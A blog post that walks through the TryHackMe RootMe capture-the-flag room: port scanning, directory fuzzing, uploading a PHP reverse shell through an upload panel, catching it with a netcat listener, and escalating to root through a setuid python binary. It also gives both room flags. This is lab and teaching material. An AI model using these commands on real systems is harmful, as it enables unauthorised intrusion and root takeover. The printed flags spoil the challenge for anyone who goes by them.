TryHackMe: RootMe

RootMe CTF

Are you interested in becoming an ethical hacker? This blog post is a great starting point, covering the fundamentals of penetration testing, including reconnaissance, obtaining a reverse shell, and privilege escalation.

Reconnaissance

Network Enumeration

$ nmap -sC -sV 10.10.65.198
# 22/tcp open ssh  OpenSSH 7.6p1
# 80/tcp open http  Apache httpd 2.4.29

• Scan this IP address by using default script and try to determine versions of each services is running on IP address for getting fully information about this system.

Web page

Directory Enumeration

$ ffuf -u http://10.10.65.198/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# /uploads
# /panel

• Finding a hidden directories by using ffuf command.
• Navigate to /panel directory.

panel directory

Get Joshua Suksakorn’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Getting a reverse shell

$ nc -lvnp 2024

• This command will make your computer act like a mini server. By waiting for incoming connections to port 2024 when there is an incoming connection. The program will display information about that connection. and ready to send and receive data with the connected person.
• Use revshells to create payload for getting a shell.

Create payload to get a reverse shell

• Save payload in file name revshell.php5 and upload into the website.

• Check file that we just upload in /uploads directory.

• Execute reverse shell by click file that I just upload.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# Create new terminal by using python3 code

www-data@rootme:/$ find -type f -name user.txt 2>/dev/null
# ./var/www/user.txt
# Searching for the file named 'user.txt' in all directories, without displaying an error message if the file is not found.

# The flag is stored in '/var/www/user.txt'
www-data@rootme:/$ cat /var/www/user.txt
# Flag_1: THM{y0u_g0t_a_sh3ll}

Privilege Escalation

www-data@rootme:/$ cd /root
# bash: cd: /root: Permission denied
# This account don’t have permission to see this directory 

www-data@rootme:/$ find / -type f -user root -perm -4000 2>/dev/null
# /usr/bin/python
# This command searches for all files in the operating system that are normal files. (not a directory) and is owned by user "root" and has "setuid" permissions. It will not display any error messages.

• Use gtfobins to get a payload by searching sudo for bypass the permission.

www-data@rootme:/$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# ls /root
root.txt
# cat /root/root.txt
# Flag_2: THM{pr1v1l3g3_3sc4l4t10n}